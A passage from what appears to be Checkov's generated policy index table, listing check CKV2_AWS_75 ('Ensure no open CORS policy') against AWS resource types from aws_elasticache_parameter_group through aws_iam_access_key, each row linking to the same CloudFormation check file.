Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 751 | CKV2_AWS_75 | resource | aws_elasticache_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 752 | CKV2_AWS_75 | resource | aws_elasticache_replication_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 753 | CKV2_AWS_75 | resource | aws_elasticache_reserved_cache_node | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 754 | CKV2_AWS_75 | resource | aws_elasticache_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 755 | CKV2_AWS_75 | resource | aws_elasticache_serverless_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 756 | CKV2_AWS_75 | resource | aws_elasticache_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 757 | CKV2_AWS_75 | resource | aws_elasticache_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 758 | CKV2_AWS_75 | resource | aws_elasticache_user_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 759 | CKV2_AWS_75 | resource | aws_elasticache_user_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 760 | CKV2_AWS_75 | resource | aws_elasticsearch_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 761 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 762 | CKV2_AWS_75 | resource | aws_elasticsearch_domain_saml_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 763 | CKV2_AWS_75 | resource | aws_elasticsearch_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 764 | CKV2_AWS_75 | resource | aws_elastictranscoder_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 765 | CKV2_AWS_75 | resource | aws_elastictranscoder_preset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 766 | CKV2_AWS_75 | resource | aws_elb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 767 | CKV2_AWS_75 | resource | aws_elb_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 768 | CKV2_AWS_75 | resource | aws_emr_block_public_access_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 769 | CKV2_AWS_75 | resource | aws_emr_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 770 | CKV2_AWS_75 | resource | aws_emr_instance_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 771 | CKV2_AWS_75 | resource | aws_emr_instance_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 772 | CKV2_AWS_75 | resource | aws_emr_managed_scaling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 773 | CKV2_AWS_75 | resource | aws_emr_security_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 774 | CKV2_AWS_75 | resource | aws_emr_studio | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 775 | CKV2_AWS_75 | resource | aws_emr_studio_session_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 776 | CKV2_AWS_75 | resource | aws_emrcontainers_job_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 777 | CKV2_AWS_75 | resource | aws_emrcontainers_virtual_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 778 | CKV2_AWS_75 | resource | aws_emrserverless_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 779 | CKV2_AWS_75 | resource | aws_evidently_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 780 | CKV2_AWS_75 | resource | aws_evidently_launch | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 781 | CKV2_AWS_75 | resource | aws_evidently_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 782 | CKV2_AWS_75 | resource | aws_evidently_segment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 783 | CKV2_AWS_75 | resource | aws_finspace_kx_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 784 | CKV2_AWS_75 | resource | aws_finspace_kx_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 785 | CKV2_AWS_75 | resource | aws_finspace_kx_dataview | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 786 | CKV2_AWS_75 | resource | aws_finspace_kx_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 787 | CKV2_AWS_75 | resource | aws_finspace_kx_scaling_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 788 | CKV2_AWS_75 | resource | aws_finspace_kx_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 789 | CKV2_AWS_75 | resource | aws_finspace_kx_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 790 | CKV2_AWS_75 | resource | aws_fis_experiment_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 791 | CKV2_AWS_75 | resource | aws_flow_log | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 792 | CKV2_AWS_75 | resource | aws_fms_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 793 | CKV2_AWS_75 | resource | aws_fms_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 794 | CKV2_AWS_75 | resource | aws_fms_resource_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 795 | CKV2_AWS_75 | resource | aws_fsx_backup | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 796 | CKV2_AWS_75 | resource | aws_fsx_data_repository_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 797 | CKV2_AWS_75 | resource | aws_fsx_file_cache | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 798 | CKV2_AWS_75 | resource | aws_fsx_lustre_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 799 | CKV2_AWS_75 | resource | aws_fsx_ontap_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 800 | CKV2_AWS_75 | resource | aws_fsx_ontap_storage_virtual_machine | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 801 | CKV2_AWS_75 | resource | aws_fsx_ontap_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 802 | CKV2_AWS_75 | resource | aws_fsx_openzfs_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 803 | CKV2_AWS_75 | resource | aws_fsx_openzfs_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 804 | CKV2_AWS_75 | resource | aws_fsx_openzfs_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 805 | CKV2_AWS_75 | resource | aws_fsx_windows_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 806 | CKV2_AWS_75 | resource | aws_gamelift_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 807 | CKV2_AWS_75 | resource | aws_gamelift_build | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 808 | CKV2_AWS_75 | resource | aws_gamelift_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 809 | CKV2_AWS_75 | resource | aws_gamelift_game_server_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 810 | CKV2_AWS_75 | resource | aws_gamelift_game_session_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 811 | CKV2_AWS_75 | resource | aws_gamelift_script | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 812 | CKV2_AWS_75 | resource | aws_glacier_vault | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 813 | CKV2_AWS_75 | resource | aws_glacier_vault_lock | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 814 | CKV2_AWS_75 | resource | aws_globalaccelerator_accelerator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 815 | CKV2_AWS_75 | resource | aws_globalaccelerator_cross_account_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 816 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_accelerator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 817 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_endpoint_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 818 | CKV2_AWS_75 | resource | aws_globalaccelerator_custom_routing_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 819 | CKV2_AWS_75 | resource | aws_globalaccelerator_endpoint_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 820 | CKV2_AWS_75 | resource | aws_globalaccelerator_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 821 | CKV2_AWS_75 | resource | aws_glue_catalog_database | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 822 | CKV2_AWS_75 | resource | aws_glue_catalog_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 823 | CKV2_AWS_75 | resource | aws_glue_catalog_table_optimizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 824 | CKV2_AWS_75 | resource | aws_glue_classifier | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 825 | CKV2_AWS_75 | resource | aws_glue_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 826 | CKV2_AWS_75 | resource | aws_glue_crawler | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 827 | CKV2_AWS_75 | resource | aws_glue_data_catalog_encryption_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 828 | CKV2_AWS_75 | resource | aws_glue_data_quality_ruleset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 829 | CKV2_AWS_75 | resource | aws_glue_dev_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 830 | CKV2_AWS_75 | resource | aws_glue_job | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 831 | CKV2_AWS_75 | resource | aws_glue_ml_transform | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 832 | CKV2_AWS_75 | resource | aws_glue_partition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 833 | CKV2_AWS_75 | resource | aws_glue_partition_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 834 | CKV2_AWS_75 | resource | aws_glue_registry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 835 | CKV2_AWS_75 | resource | aws_glue_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 836 | CKV2_AWS_75 | resource | aws_glue_schema | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 837 | CKV2_AWS_75 | resource | aws_glue_security_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 838 | CKV2_AWS_75 | resource | aws_glue_trigger | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 839 | CKV2_AWS_75 | resource | aws_glue_user_defined_function | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 840 | CKV2_AWS_75 | resource | aws_glue_workflow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 841 | CKV2_AWS_75 | resource | aws_grafana_license_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 842 | CKV2_AWS_75 | resource | aws_grafana_role_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 843 | CKV2_AWS_75 | resource | aws_grafana_workspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 844 | CKV2_AWS_75 | resource | aws_grafana_workspace_api_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 845 | CKV2_AWS_75 | resource | aws_grafana_workspace_saml_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 846 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 847 | CKV2_AWS_75 | resource | aws_grafana_workspace_service_account_token | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 848 | CKV2_AWS_75 | resource | aws_guardduty_detector | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 849 | CKV2_AWS_75 | resource | aws_guardduty_detector_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 850 | CKV2_AWS_75 | resource | aws_guardduty_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 851 | CKV2_AWS_75 | resource | aws_guardduty_invite_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 852 | CKV2_AWS_75 | resource | aws_guardduty_ipset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 853 | CKV2_AWS_75 | resource | aws_guardduty_malware_protection_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 854 | CKV2_AWS_75 | resource | aws_guardduty_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 855 | CKV2_AWS_75 | resource | aws_guardduty_member_detector_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 856 | CKV2_AWS_75 | resource | aws_guardduty_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 857 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 858 | CKV2_AWS_75 | resource | aws_guardduty_organization_configuration_feature | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 859 | CKV2_AWS_75 | resource | aws_guardduty_publishing_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 860 | CKV2_AWS_75 | resource | aws_guardduty_threatintelset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 861 | CKV2_AWS_75 | resource | aws_iam_access_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) 